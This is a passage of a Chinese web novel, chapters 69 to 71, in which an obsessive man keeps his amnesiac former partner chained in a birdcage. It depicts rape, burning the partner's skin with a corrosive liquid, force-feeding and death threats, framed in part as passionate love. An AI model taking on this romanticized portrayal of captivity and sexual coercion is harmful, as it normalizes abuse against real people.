长庭知的声音似乎是从牙缝里挤出来的,他的手指死死地按在那枚吻痕上,力道大得几乎要按碎下面得骨头。
余赋秋疼的闷哼一声,没有听清他的话:“……什么?”
“什么?”长庭知怒极反笑,“是不是,沈昭铭?”
“他碰过你这里?”
“没有!”余赋秋下意识地反驳:“昭铭他从来没有——”
“没有?”
长庭知打断他,混乱中,余赋秋眼前的黑布掉落了下来,长庭知的手指掐住他的后脖子,将他整个人抱在怀里:“那这些是什么?!”
只见在墙上,挂满了密密麻麻的照片 ,每一张照片都有他,他和沈昭铭并肩坐在树下,沈昭铭的手自然地搭在他的身边,他们头靠着头,眉目弯弯,像是一对亲昵的爱人。
“他是不是碰过你知道?他知道你情潮会和小动物似的叫唤求饶,还特别爱抓东西,也会在我的肩膀上留下条条痕迹的样子么?!”
长庭知的手揉着余赋秋的小腹,眼神晦暗不明,“他到过这里是不是?!”
“即便是,那关你什么事情!”余赋秋冷冷道,他眼尾泛红,水雾迷茫,鼻头红润,但那双眼睛中却是无尽地冷意:“昭铭他尊重我,他等我愿意,不像你这种货色!”
“尊重?”长庭知的眼睛赤红,他凝视了余赋秋许久,忽而笑了,“余赋秋,你真以为世界上有男人会对着喜欢的身体说‘等’?”
他的手指紧紧掐着那枚淡粉色的吻痕,“他早就碰过你了,他压在你身上,亲你这里,吸出这个痕迹——”
“啪——”
余赋秋冷着脸色,一巴掌重重地打在了长庭知的上面,他颤抖着身体,强撑着身体,斥责道:“你以为别人都和你一样是用下本身思考的动物吗?!”
“我和昭铭是恋人,我们既便上床了,也是你情我愿,关你一个毫不相干的人什么事情!”
“你真是令我恶心!”
长庭知慢慢地回头,他用舌尖抵了抵被打的地方。
余赋秋看到他的眼神一怔,他本以为这个疯子会生气,会骂他,但他却从他的眼里看出了病态的愉悦,还有……抵在自己身后的东西。
余赋秋转身就要爬走,但他刚爬到一半,雪白的脚踝就被一双手拖了回去,随即他被抱了起来。
他被扔进了浴缸。
“噗哈——!”
余赋秋挣扎着想要起身,但他被死死地按在浴缸中,动弹不得。
隔着朦胧的水雾和脸上湿透的黑布,他本该看不清的,但那一刻,他逐渐看清了那一双眼睛。
那双眼里是一种病态的、近乎沉醉的愉悦。
那双目光一寸一寸地扫过余赋秋湿透的身体,扫过他因为恐惧而微微颤抖的身体,扫过被锁链在脚踝上勒出的红痕。
长庭知甚至没脱衣服,直接进了浴缸里面,把他抱在怀里,身后的威胁让余赋秋意识到,眼前这个人就是个彻头彻尾的疯子。
“不……”
他浑身一僵,声音卡在喉咙里面。
“宝宝。”长庭知低低地笑了起来,猛然拽起他脖子上的锁链,将他牢牢地抱紧在自己的怀中,“脏了。”
他轻声说,语气像是陈述着一个显而易见的事实。
“被别的男人碰过的地方,”长庭知的手指再次抚摸那个痕迹,然后突然用力扣挖,像是要活生生地把那块皮肤剜下来,“脏了。”
他一直重复这个。
他好不容易有了余赋秋的一点点消息,他的办公室全都粘贴满了余赋秋的照片,如今那个让他思念到发狂的人,就在怀里,他怎能不疯?
只是每一张照片里面都有一个男人的存在,他们一起牵手,一起拥抱,一起去雪山滑雪,一起去夏威夷度假,甚至还一起去挪威看极光。
亲密到耳鬓厮磨,卿卿我我的模样,让长庭知失去了理智。
他把每一张照片上的沈昭铭用黑笔重重地划上了一个大大的叉字,用鲜红的文字在旁边写:“去死吧去死吧去死吧去死吧。”
这个男人在过去的两年,代替了他的位置。
余赋秋怎么可以允许其他男人进入他的身边,成为他身边的唯一?!
他怎么敢的?!
长庭知抱着余赋秋的身体,瘦了,比起两年前瘦了太多。
他每个辗转的黑夜,只能靠着余赋秋留下的东西才能安然睡去,但却又无数次从睡梦中惊醒。
但他现在不需要那些了。
他低头,在余赋秋的乌发上浅浅地亲了一下,末了,他微微蹙了蹙眉头,“怎么不是我熟悉的味道了?”
“你为什么要换掉那个味道,你曾经和我说,那是你最喜欢的味道。”他不满意地揉了揉余赋秋的头发,“所以呢,不乖的孩子,要受到惩罚。”
“疼……好疼。”余赋秋泪水流出来,拼命地挣扎,那一块皮肤已经渗出了丝丝的红痕,“你滚!滚!”
“疼什么?”他低头吻住了余赋秋的嘴,“我都不怪你出去偷腥,只要你回到我身边,我就不计较这个事情。”
“你不干净了,只有我能接受你了,你为什么还不知足呢?”
为什么你还要跑呢?
“知道疼,为什么还要让别人触碰?”
余赋秋所有的话被堵住了,他只能拼命地摇头,眼中全是对长庭知的恐惧。
嫉妒和占有欲彻底烧毁了他最后一点理智,他猛地将余赋秋转过了身来,从洗漱台面掏出了一小瓶液体。
透明的液体,在白色的灯光下泛着冷光。
“既然脏了,”他拧开瓶盖,声音平静得可怕:“那就洗干净。”
“不,不……你到底要干什么?!”
浴缸太小了,他无处可逃。
长庭知没有回答,他只是将那瓶液体,对准了那个淡粉色的吻痕,缓缓倾倒。
在液体触碰到余赋秋皮肤的瞬间。
剧烈的、灼烧般的疼痛炸开。
余赋秋瞳孔皱缩,像是离水的鱼儿一样在水里扑腾着。
长庭知死死地按住他,他盯着那片皮肤在液体的刺激下,迅速变红、发种,直至彻底的消失不见。
“干净了。”
他低声说,用力擦拭着那片皮肤,直到皮肤被撮得通红,他才满意地笑了起来,“现在干净了。”
余赋秋丧失了全部的力气,身体因为剧痛而不受控制地抽搐着,眼泪留下来,每一寸神经都在尖叫着。
“记住这种疼。”他在他耳边轻柔地说,“下次在让别人碰你,我会用更厉害的东西洗。”
“你绝对不想知道那个滋味。”
“你是我的。”他温柔地抚摸余赋秋的脸,“从里到外,每一寸皮肤,每一个细胞,都只能是我的。”
“别人碰过的,我就毁掉。”
“别人想要的,我就锁起来。”
“球球……我的球球……”
他一把抱起已经丧失力气的余赋秋,一步一步,将他轻柔地放在了床上,而在鸟笼的外面,摆满了好几台红色的摄像机。
他扯开衣领,将余赋秋压在自己的身下。
这晚的他很疯狂,像是要把两年的时光补足,在余赋秋的身上留下了很多触目惊心的痕迹,到了凌晨,他原本还想继续,但余赋秋的身体已经不允许他继续下去了,小腹高高隆起,像是怀胎三四月,依稀可以听到水声。
长庭知餍足地把自己的头贴在他的肚子上,谓叹了一声,随即把头紧紧埋在他的肩膀处,沉沉地睡了过去。
但无尽地疼痛却让余赋秋清醒了过来。
他瞪大眼睛,看着这黑漆漆的屋子,浴室里滴答滴答的水声,像是永无止境的刑罚,这场刑罚的计时器。
记忆碎片翻涌上来。
恶心感反涌上来。
他捂住嘴,干呕了几声,却什么也吐不出来,只有苦涩的胆汁在灼烧喉咙。
他的指尖从枕头下拿起了他前面在浴室里藏匿的镜子碎片。
黑暗中,他能勉强看清长庭知的轮廓。
看着这张脸,他的心脏却忽然地抽痛起来。
脑海中闪过许多模糊的画面,余赋秋疼的想要捂住脑袋,他死死地咬住嘴唇,眼睛猩红。
如果不是这个人,他现在早就和昭铭在一起了。
这个人是谁!
为什么要这么对他?
他的呼吸急促起来。
大脑在尖锐地叫嚣着。
只需要一下,用力地扎下去,这一切都结束了。
他的手悬在半空,时间仿佛在这一刻静止了。
余赋秋握紧碎片,血滴落了出来,疼痛充斥着他的大脑。
他用力地扎了下去。
“你去死吧,你去死啊——”
“如果没有你,我一定会更幸福的。”
“你为什么又要剥夺我现在的一切!”
作者有话说:
现在长庭知还没有转变那么快,他还处于一种很自负,球球非常爱我的阶段 认为球球是他的私人物品的阶段,所以会做出很多不理智的事情
第70章 第70章[VIP]
“去死啊——”
余赋秋起身, 胯坐在长庭知的身上,手上的锁链发出沉闷地响声,白皙的掌心紧握着玻璃的碎片, 鲜血从缝隙之中破裂出来。
滴落在长庭知的脸颊上, 像是从地狱爬上来的恶鬼。
就在镜子的碎片立马要扎入脖颈的大动脉的时候——
“呵。”
余赋秋动作一顿,对上了那双眼睛。
他轻轻笑了起来。
仿佛在看一个无理取闹的孩子。
“你对我说的第一句正常的话,居然是这个?”
长庭知遗憾地叹了口气, 他丝毫不畏惧那镜子的破碎在自己大动脉前的威胁,只差一寸,就可以扎破他的动脉, 鲜血就会喷涌而出。
他轻轻伸出手, 慢慢地撩开余赋秋被汗水沾湿的头发,用手指擦去他掌心的血, 伸出舌尖, 将他的血卷入舌尖。
“血是热的。”
“但你的心,怎么这么狠呢,宝贝。”
他直接握住了余赋秋的手腕,力道极大,手掌在他的腰部按了一个地方, 余赋秋的腰忽然酸了下去, 蜷缩起了身体。
长庭知轻笑, 眼中染起星星点点的笑意:“你看,既便过了两年了,你的身体还是忘记不了我。”
“呃啊——”
余赋秋痛呼一声, 手指不受控制地松开。
碎片掉落在床单上, 刺啦一声,划开了床单。
长庭知一个翻身。
天旋地转。
余赋秋被他反压在身下, 锁链哗啦作响,牵扯到手腕的伤口,疼的他倒抽凉气。
长庭知撑在他的上方,俯视着他,“第几次了,球球?”
“你真的回来了吗?”他轻声呢喃,指尖轻柔地抚摸过余赋秋脸上未干的泪痕,他神情似乎迷茫,又捏了捏余赋秋的脸,“你是真的……回来了。”
他仔细地嗅着余赋秋脖子上的味道,神情痴迷,“是我的球球,是我的球球,洗干净了,就是我的了。”
“你到底在发疯什么?!”
余赋秋被他压在身下,闻着他的味道,胃里是翻滚不住的呕吐,可他已经一天没吃东西了,而且腹部微微隆起,一晃就可以听到水声,这让他很不舒服,他的大脑疼痛:“我真的不认识你,你如果妻子失踪了,你应该去报警,而不是跟条狗一样随时随地的发、情。”
“……”
长庭知眼神暗了暗,他狠狠地歪头咬在了余赋秋的脖子。
“既便是狗,也只对你发/情。”
“你是我的,你只能是我的。”
剧烈的疼痛再次攀沿上来,余赋秋在沉浮之中,彻底陷入了黑暗。
……
柔和的阳光从窗帘的缝隙之中。
余赋秋在柔软的大床上醒来。
他眨了眨眼,首先看见的是头顶上方的拱形穹顶,金色的栏杆在晨光中泛着冰冷的光泽,空气里面有灰尘在光线中缓缓浮动的轨迹。
然后,他撑起身体坐起来,锁链随着动作发出沉闷的响声,脚踝处的金属环勒着皮肤生疼,窗帘被风吹起,扬起一抹角度,他伸手想要去抓纷飞的窗帘。
就在他仰起头的时候,一股力道猛地将他拽了回去,惯性让他狠狠摔在了床头,他捂着脖子,才发现自己的脖子上面挂着一个金属的锁链,而那链条就在床头中间的小孔里面。
他抿着唇,白皙的脖子上全是红色的痕迹,肚子已经扁了下去,他这才发现,自己的身上遍布着密密麻麻青紫的痕迹和咬痕。
他一动,浑身就疼。
他抬起眼睛,视线穿过鸟笼的间隙,看向外面的房间——
然后,他僵住了。
这个很大。
非常大,不像是一个房间,更像是一个……收集的地方。
而他所在这个巨大的金色鸟笼,就被放在这房间的正中央,像一个展品。
正对面的墙,是一整面的照片墙。
从左到右,按照时间的顺序排列。
最左边,是一个小孩,长得瘦削,仿佛风一吹就会倒下,他怯生生地对着镜头,穿着补丁的衣服,在照片下面有一个封黄的纸张,上面写着:“我来到了一个很陌生的地方,在一个落雨小巷中发现了他,他蹲在垃圾桶里,像只被丢弃的小狗。”
“我说他叫什么,他不说话,只是发抖,他好瘦啊,肋骨一根根的,好像风一吹就会倒下。”
“他让我想起了,七岁那年,被丢弃在精神病的自己,也是这么冷,也是没有人要,我想,我要把他带走。”
余赋秋的呼吸停了一瞬。
他看着那张照片,看着这个瘦骨嶙峋的孩子,看着那个熟悉的字迹,寂静的房间里面只能听见他自己砰砰直跳的心脏声音。
这个孩子……
是他?
年幼的、未被驯养的、像是野草一样在风雪里挣扎的长庭知。
而后在时间顺着照片往前走。
稍微长一点的少年,穿着干净但朴素的衣服,坐在一张书桌前,低头写字,而他站在少年的身后,眉目温柔,眼含温柔。
“庭知考试第一次没有考到满分,他哭了,说怕我失望,说怕以后不能更好的生活,怎么会呢?你在我的身边,我就很高兴了,你健健康康的,比什么都好。”
“……我们终于有了自己的房子,庭知嘴上说现在房价这么贵,买这个干什么,但是我看他还是很高兴的,他有了自己的房间,给他买了一个小书桌,他就在这里写字……真好看。”
“余赋秋,你要努力挣钱啊。”
第三章,长庭知初中毕业典礼,他在人群中寻找着什么,然后看见了镜头外的某个人,眼睛突然亮了,露出一个灿烂的笑容。
“我的少年长大了,长得好快啊,他说要考最好的高中,以后挣很多钱,让我过好日子。”
“……他上高中了,比赛受伤了,我抛下工作,背他去医务室,他说他重不重,说不重,要他多吃点,他不说话了。晚上他偷偷量身高,我看着他一年比一年更高的痕迹,总觉得骄傲又心酸。”
十八岁的长庭知,笑得眉目弯弯,一只手拽着他的袖子,另一只手比着笨拙的v字,他已经长得比余赋秋高了,阳光透过树叶的缝隙洒在他的脸上,那笑容干净得像是从未被污染得雪。
“他说这个叫约会,什么约会……才十八岁的小孩知道什么,他有喜欢的人了?”
“他说这棵树很灵验的,他说我们在这里,这棵树会开一辈子的花。”
下一张,是在长庭知二十一岁生日的时候。
明明寿星是长庭知,但是却是余赋秋闭着眼睛,长庭知在旁边偷偷亲他的脸颊,蜡烛的光映着他们两个人的脸。
“他说他许下的愿望是永远和我在一起,他偷偷说的,以为我没听见呢,哎呀……”
大学毕业典礼上面,长庭知穿着学士服,他站在楼梯下面,而余赋秋站在阶梯的上面,他们目光相对,长庭知伸开了双手,要接住余赋秋,余赋秋哭红了鼻子,长庭知在笑,阳光照样着笑中含泪。
“他向我求婚了,说这是他向我的第一次求婚,他说他要给我很多很多的爱,很多很多的钱,会让我去做一切我想做的东西。”
“他说,他永远不会抛下我,会永远永远地爱我。”
一张又一张。
他们还海边下接吻,他们在挪威的极光下求婚,他们在北极上去滑小艇,去非洲追寻候鸟……
世界的各个角落,巴黎的铁塔、京都的樱花、秘鲁的马丘比丘,新西兰的晨昏……
每一张照片里面,长庭知的眼睛都在看余赋秋。
在照片走到三分之二的时候,色调忽然柔和了起来。
那是第一张三个人的照片,医院的产房里面,他脸色苍白地躺在病床上,怀里抱着一个婴儿,长庭知站在床边,弯着腰,小心翼翼地去碰婴儿的小脸,那种表情和前面的截然不同,是恐慌的、兴奋的、和温柔的。
“我问孩子叫什么?”
“他说我叫余赋秋,孩子又是冬天出生,冬天来了,春天还会远吗,他说我曾经说过每次的冬天都期盼着春天的到来,所以孩子叫祈春。”
“他说想要和我姓,我想了想,还是拒绝了,这是我们的孩子,而且……我不知道我还能存在多久,所以……还是和他姓吧。”
照片继续。
春春会走路了,会跑了,会说话了。
照片里的场景也从世界各地,渐渐回归到家的花园、客厅和儿童房。
直到最后一张照片——
他坐在花园里的长椅上,脸颊垂落着,日暮在他的脸上投落下星星点点的碎光,春春站在不远处玩耍,本该是一副温馨的画面,但余赋秋的脸上没有笑容,反而是更为空洞的——
余赋秋的目光落在了下面的落款,时间正是两年前。
房间里一片死寂。
长庭知不知道什么时候走了进来,他站在笼子的外面,背对着那面照片墙,目光死死地锁在余赋秋的脸上。
他将衣袖卷起,露出一截手腕,手腕上戴着一只已经磨损但是却被保养得很好的表——那是余赋秋送他的成人礼。
“看完了?”他开口,声音平静。
“看完了。”
余赋秋把目光从最后的照片移开,转向他。
“想起来了吗。”他往前走了两步,停在笼子的边缘。
余赋秋抬起头,看着他。
阳光从缝隙中照耀出来,正好落在他的脸上,余赋秋竟然在长庭知的脸上看出了一丝紧张和无措。
“没有。”
他语气平静。
长庭知顿了一下,手臂紧抓着鸟笼的栏杆,“一点也没有,就连春春你也不记得了?……”
“不记得。”余赋秋打断他,语气里没有任何的波澜,“我说了,我什么也不记得,这些照片,对我而言就像是别人的纪录片,里面的那个人不是我,孩子也不是我的孩子,承诺‘永远’的傻子也不是我。”
“所以,放我走吧。”
他对上长庭知那双瞳孔。
“我已经不记得一切了,我们是过去式了,长庭知,早在两年前,我们就该结束了。”
“那个人已经死了,被你杀死的。”
长庭知黑色的瞳仁紧紧凝视着他,像是深渊中的黑洞,要将他紧紧吸入其中。
他打开了鸟笼,一步一步,脚步清晰缓慢地来到他的面前,拽着他脖子的锁链,目光冷凝:“他没死。”
“他只是生病了,失忆了,我会治好他,我会让他想起来——”
“想起来又怎样?”余赋秋打断他,没有回手,只是被迫仰着脑袋看他,“想起了我曾经多么爱你?想起来我们有多少美好回忆?”
“然后呢?然后我就会忘记你怎么锁着,怎么当着昭铭的面,毁了我的婚礼,在这么多人面前羞辱我?还是把我现在当条狗一样养着?!”
他眼睛干涩,没有泪。
“长庭知,记忆不是这么用的。”
“不是你展示一堆‘甜蜜’的过去,我就要感恩戴德地回到你身边。”
“那些,那些都过去了……”长庭知的手在轻轻颤抖着,他声音嘶哑:“我只是太害怕再次失去你,我现在在努力改了,我和你道歉好不好?把我们的过去全都找回来,好不好?”
“你看,这个地毯,是你最喜欢土耳其的那个,我买回来了,怕你冷,我现在做饭也很好吃了,我虽然还没有完全融合那个长庭知,可是我继承了他很多的记忆,我,我现在也在努力学着做饭,连吴叔都说好吃了,我……”
“有意义吗?”
余赋秋打断他,神色平静:“有些东西碎了就是碎了,你用再好的胶水去粘,裂痕也还在。”
“更何况,你连胶水都没用过,只是把碎片扫在一起,假装它们还是一个完整的碗。”
“然后继续逼我用这个破碗吃饭。”
“可是长庭知,我恶心得吃不下饭。”
他静静仰起头看着长庭知。
“现在的你对我来说就是个陌生人,你毁了我的婚礼,伤害了我的恋人,还在昨晚一遍又一遍的强。暴我。”
“你怎么会认为,我会重新爱上你这种人?”
“或许我们曾经有爱,但现在,我很累。”
“我们之间在没有可能了,放我走吧。”
“对谁都好。”
长庭知死死地看着余赋秋,整个身体都在无法控制地轻微颤抖。
然后,他笑了。
那笑声一开始是低低的、压抑的,但后来越来越大,越来越尖锐,最后变成了疯狂的大笑,笑得眼泪都出来了。
“哈哈哈哈……没有可能?放你走?”
他直起身子,擦了擦眼角的泪,笑容狰狞。
“余赋秋,你听好了。”
“只要我还活着一天,你就永远别想离开我。”
“过去式?那我就把我们变成进行时!将来时!变成生生世世!”
“你不记得了,好啊,我会帮你记起来。”
“你的眼睛只能看我,耳朵只能听我,嘴里只能喊我的名字。”
“最后留在你世界里的,只会是我。”
"从你把我捡回来的那一天,你就注定是我的。"
“你活着,是我的妻子。”
“死了,是我的遗物。”
“你化成灰,都是我的。”
“你逃不掉,这一辈子,下一这辈子,你都是我的。”
他微微俯身,在余赋秋的唇畔下点了两下,“等我们死了,我们的骨灰混在一起,装进一个罐子里。”
“这样,就真的永远不分开了。”《 》
70-80
第71章 第71章[VIP]
“……”
余赋秋看着长庭知摔门离去的背影, 他喃喃自语:“疯子……真的是个疯子……”
偌大的房间里面只剩下他和满面墙壁的照片,他一眨也不眨地看着面前的照片,明明本该是温情的过往, 他们怎么会变成如今这样?
过去到底发生了什么?
他已经不记得发生了什么, 只记得他那段在医院昏迷的日子,他的昏迷像是一场漫长的潮汛,意识在黑暗的沙滩上时进时退, 而那个人,是潮水中唯一不变的礁石。
余赋秋偶尔能听见声音,那声音透过迷雾, 讲述窗外的天气, 讲述他今天学习到的东西,讲述很多余赋秋都记不清的琐碎小事。
他真正醒来的那一刻, 世界骤然变得清晰。
他看见了一个憔悴的男人守候在他的床边, 动作熟练地为他润湿嘴唇,指尖带着不易察觉的颤抖。
余赋秋问他,你是谁。
那个人的动作顿住了,他先是愣了很久,才深吸一口气, 声音很轻, 他说:“我是沈昭铭。”
他说:“是你的恋人。”
他告诉余赋秋:“你只是生了一场病, 等病好起来,一切又是新的开始。”
在海外的两年,都是沈昭铭陪伴着他。
他从不强迫余赋秋去回忆过去, 只是牵着那只微凉的手, 一次次踏上新的旅程。
在普罗旺斯,薰衣草田漫山遍野, 余赋秋往着无边的紫色出神,这里很漂亮,但他的心却空落落的,总觉得哪里很违和,总觉得缺少了什么,沈昭铭打断了他,他把那束新摘的薰衣草轻轻放在他的掌心。
余赋秋看着那双全然是自己身影的眼眸,愣神,低声说:“抱歉……我真的不记得了。”
或许他来过,但心中这股刺痛是怎么回事儿?
沈昭铭摇了摇头,笑意温柔:“没关系,薰衣草的花期很长,就像是……我们还有很长的时间。”
他们去了冰岛,黑沙滩的浪涛汹涌,极光在墨蓝的天幕上变化,绿得如同梦境,u赋秋仰头看着,呼出的白气消散于寒冷的空气之中,沈昭铭从身后抱住他,他从一开始的小心翼翼,只敢牵手,到现在可以把他小心翼翼地抱在怀中,敞开大衣,将他裹进自己的怀中,下巴轻轻蹭他的头顶,静静地看着这钻石沙滩。
余赋秋下转头,踮起脚尖,仰头,下意识地想要去索吻,只是在他的唇瓣刚触碰到沈昭铭的皮肤的时候,他们的动作都愣住了,空气仿佛停滞了下来。
“赋秋……”
余赋秋一愣,赶忙往后退,离开了那个温暖的怀抱,他抱歉地冲沈昭铭笑笑:“我……我,抱歉。”
他不知道自己这些下意识的动作是哪里来的。
在余赋秋身体好些了后,京都的春夜,他们沿着哲学之道漫步,樱花如雪,簌簌落在肩头,余赋秋停在一棵巨大的樱花树下,花瓣落满了他的肩头和头发,沈昭铭没有替他拂去,只是举起了相机,轻声说:“别动。”
这张照片成了他们的微信头像,一半是余赋秋,一半是樱花树下,余赋秋的长发低垂,漂亮的眉目之间皆然是如春风般的笑意。
余赋秋走到那颗樱花树下,他仰起头,看着满目的樱花和拂面的春风,他转头,对着沈昭铭笑着说:“我想起来了,你曾经说,我们在一棵树下,这棵树就会永远开满花。”
他没有看清沈昭铭的神色,但只知道沈昭铭只是沉默地站在他的身后,然后拂去了他肩头落下的樱花。
在托斯卡纳的艳阳下,他们住在一栋古老的农舍里面,沈昭铭学着当地的菜品,余赋秋坐在爬满藤蔓的露台上,看远处起伏的丘陵和丝柏树,沈昭铭端着食物来到他的身边,笑着对他说:“看,我新学的菜肴,我很有天赋吧。”
余赋秋看了看盘中的菜肴,对他说:“我还记得你站在菜摊子面前,对着我说你不爱吃肉,要吃排骨,所以我做了很久糖醋排骨,你每次吃了几口又不吃了,结果最后都是我解决……怎么现在喜欢吃这个肉了?”
沈昭铭愣了一愣,端着盘子的手青筋暴起,他扬起一抹笑:“这不是时间久了,人总是会变的。”
在埃及的金字塔前,热风卷着沙砾,余赋秋望着这古老的奇迹,眼神依然有些茫然,沈昭铭没有讲述历史,只是在他被太阳晒得微微眯眼时,将一顶帽子戴在他的头上,调整好角度,笑着说:“很适合你。”
然后每一次当余赋秋面对壮丽景色或温馨日常,流露出迷茫的神情,“对不起,我真的记不得了……”
沈昭铭总会握着他的手,语气温柔且坚定:“不记得也没关系,球球,感受此刻就好。”
“历史是属于世界的,但回忆是属于我们的,旧的找不回来,我们就创造新的。”
“看,这是我们第一次看的极光。”
“这是我们第一次在这里过春节,虽然只有我们两个人,我包了饺子。”
“这是我们养的小七,在视频里每次看到你就会蹦跶,你每次说妈妈回来了,它就摇着尾巴。”
他指着手机里越来越多的照片和视频,那些影响里的余赋秋,从最初的疏离空白,到后来有了渐渐的笑意,手机里充满着他们的点点滴滴。
直到有一天,在挪威峡湾的游轮上,余赋秋望着两岸陡峭的青山和飞泻的瀑布,忽然轻声说:“这里……风的味道,好像有点熟悉。”
沈昭铭没有激动地追问,只是更紧地揽住了他的肩膀,将吻落在他的发间。
“嗯,”他应道,声音里含着笑意,也含着只有自己知道的、深藏的酸楚与欣慰。
“那我们就多待一会儿,让风记得我们,我们也记住它。”
新的记忆,就这样在旧世界的风景里,悄无声息地生根发芽。
看着那一张又一张的照片。
过去两年的点点滴滴被渐渐打碎。
他原先的爱人是那样的人吗?
他怎么会……爱上那样的人?
他喜欢的是沈昭铭这种温柔,尊重,满心满眼都支持他的人。
而长庭知完全相反。
他们才相见几天,却充斥着暴力和自私。
接下去的日子,几乎都是一模一样的。
长庭知会固定三餐过来,然后抱着他,亲手地一口一口喂给他。
余赋秋最初不肯吃,他别过头,闭上眼睛,用沉默应对着。
长庭知不生气,他会把东西放在床头,坐在他的身边,把他抱在自己的怀中,顺着他的背,对他说他昨天出去碰到的趣事,然后才慢慢端起已经变得温热的早餐,“凉了伤胃。”
他这样说,轻轻递到他的唇边。
余赋秋紧抿着嘴唇。
长庭知便放下勺子,伸手捏住他的下巴,力道不重,但不容抗拒。他会自己含住那口粥,然后俯身,贴上他紧抿的唇。
不是亲吻,是渡食。
温热的食物被迫涌入喉咙。
余赋秋剧烈地呛咳,挣扎,但长庭知的手臂像铁箍,牢牢锁着他,直到确认他咽下去。
“你看,”长庭知松开他,用拇指擦去他嘴角的残渍,语气平静:“何必呢?最后不还是要吃下去。”
“乖乖听话,不好吗?”
余赋秋喘息着,眼睛通红,不知是呛的还是恨的。
“放我走。”他哑着嗓子说,每一天都重复这句苍白无力的咒语。
长庭知像是没听见。
他端起碗,继续一勺一勺地喂,如果余赋秋又紧抿嘴唇,他就撬开他的嘴唇,再次一口一口地将食物渡完,没有丝毫反抗的余地。
“今天有春春的新视频。”
喂完最后一口,他笑着说,像在给予一只乖巧小狗的奖励,“他复健的很顺利,能说的话也比之前好了不少。”
“……”
余赋秋的身体一顿。
他被关到现在,第一次从长庭知的口中听到了关于春春的讯息。
长祈春。
这是他的孩子。
不知道为什么,在听到这个名字的时候,他的心尖微微一颤。
没有说话,只是抬起那双泛红的双眼,看着长庭知。
窗外是被精心打理的花园,午后温暖的阳光从窗外洒落下来,这个时候,长庭知会把他抱起来,解开他脖子上的锁链,把他抱出鸟笼,坐在窗边的沙发上。
余赋秋被他圈在怀里,背靠着他的胸膛,像个精致却没有灵魂的人偶手办。
长庭知打开平板,点开了春春的视频。
视频里的孩子长大了些,原本被病情折磨瘦削的脸颊胖了一圈,九岁的孩子,长相愈发的漂亮,只是看了一眼,余赋秋就肯定这是自己的孩子,五官像极了自己,眉目之间是长庭知的影子。
他坐在轮椅上,跟着医生的指示一步一步地扶着栏杆,撑起来又坐下。
笑得很开心,只是说出的话断断续续,“呀,疼……好疼……”
这时候,从画面中出现了一个穿着浅黄色衣服的女士,她鼓励着长春春:“春春加油!可以起来咯!很棒了!”
“春春最近在学画画,老师说很有天赋。”长庭知的下巴搁在余赋秋的发顶,声音通过胸腔的震动传来,“你看。”
他拿出一张纸,白色的纸上歪歪扭扭地画了三个火柴人,一个是高大的火柴人,一个是稍微矮一点,留着长发的火柴人,两个火柴人牵着一个小小的火柴人。
“他画了三个人,这是你,这是我,我们牵着小小的他。”
“他把画贴在了床头,姐姐问他为什么。”
“春春说他要等妈咪回来。”
余赋秋的身体微微僵硬,“他很想你。”长庭知继续说,手指卷起他的一缕长发,“虽然他现在生病了,但是每次和我打电话,我都能知道他的意思,他想问妈咪什么时候回来,我说妈咪生病了,再休息,春春说,要快点好起来,他在家里等着你回来,他说他给你留了小蛋糕。”
他顿了顿,侧头去看余赋秋的表情。
余赋秋的神情隐没在碎发之中,嘴唇抿紧。
他没有说话,只是神情看着那副画面,看着那个小小的火柴人。
“球球……”长庭知的声音低了下去,似乎带着一丝脆弱,“你看看春春,看看他,我把他接回来好不好……看看我,我们才是一家人,我们才是……”
“沈昭铭,……”他似乎不想提及这个名字,但看着余赋秋的白皙的脸色,“他只是你生病时候的一场梦,梦醒了,就该回家了。”
“……我在这里,我站在你的身后,球球……求求你……看看我吧。”
“我真的害怕,球球,我真的害怕。”他的声音抖得厉害,“我怕你真的忘记了我,怕你一转身,就真的再也回不来了,怕你……”
“沈昭铭……”这个名字再次从他的齿间挤出来:“他给你的,我都能给,不,你想要的,我都可以给你。”
“星星我都可以摘给你,命我也给你——”
“……”
余赋秋沉默着。
看着他的神情,看着他的哀求,看着他的情绪变化。
余赋秋终于开口了。
没有回应那些疯狂的许诺,没有理会那些泣血的剖白。
他只是淡淡地转头,看着长庭知微红的眼角,平淡地说了一句:“那放我走。”
四个字,轻飘飘的。
此刻像是沉浸了无限的重量。
长庭知将手中的画弄皱,他紧咬着牙关:“不可能。”
“除了这个,除了离开我。”
“其他什么都可以,你要我的命,我现在就可以给你,甚至,你要我的心挖出来看看它是不是只为你而跳动,我马上就能动手——”
余赋秋沉默地闭上了眼睛。
晚上是最难熬的。
长庭知会亲自给他洗澡,换上干净的睡衣,然后抱着他上床。
床很大,很软,但余赋秋只觉得那是另一座更柔软的囚笼。
长庭知从背后抱住他,手臂横过他腰间,将他整个人嵌进自己怀里。
体温透过薄薄的衣料传来,是一种令人窒息的温度。
“睡吧。”
他会吻他的后颈,或额头,动作轻柔得像对待易碎的珍宝。
有时候情至上头了,还会轻轻地用犬齿咬着他的后颈。
余赋秋僵硬地躺着,睁着眼睛看黑暗。
直到,他问了那句:“沈昭铭……他怎么样了?”
这是唯一能让长庭知有反应的话题。
抱着他的手臂会骤然收紧,勒得他生疼。
“……他很好。”长庭知的声音冷淡下来,“活的很好,只要你听话,你想要的什么都有。”
余赋秋想要问更多的时候,长庭知的脸色如同窗外无边无际的黑,他会堵住余赋秋的嘴,直到一次又一次把他拖入情.欲的浪潮之中。
余赋秋不再问第二次,他只是更紧地闭上眼睛,将指甲掐紧掌心,用疼痛提醒自己,不能遗忘,不能屈服,更不能……连累沈昭铭。
日复一日。
三餐,视频,怀抱,威胁。
像一个精心设计的循环程序,没有漏洞,没有出口。
余赋秋试过绝食,被强行灌食。
试过在深夜哭泣,长庭知会醒来,耐心地擦掉他的眼泪,然后更紧地抱住他,说:“哭吧,哭出来就好。但哭完了,还是得在我怀里。”
他像被困在琥珀里的昆虫,一切挣扎都被凝固在透明的、名为“爱”的树脂里。
时间失去了意义。
昨天,今天,明天,都是同样的清晨、午后和夜晚。
唯一变化的,是视频里春春一点点长大,是长庭知眼中那份扭曲的爱越来越深重,也是余赋秋心里,那片名为希望的荒原,正一寸一寸,被绝望的流沙彻底掩埋。
“今天读这首,”长庭知翻开书,声音低沉悦耳,“你以前说,这首诗让你想起我们刚认识的时候……”
他开始朗读。
余赋秋看着玻璃外。
一只麻雀飞过来,停在窗台上,歪着头往里看。
它跳了两下,用喙啄了啄玻璃,发现进不来,又飞走了。
长庭知读完诗,合上书,看着余赋秋的侧脸。
“球球,”他轻声说,“你还记得吗?我们第一次一起读诗,是在老房子的屋顶上。那天晚上星星特别亮,你说每一颗星星都是死去的人的眼睛,在看着地上的人。我说那我要做最亮的那颗,死了也要看着你。”
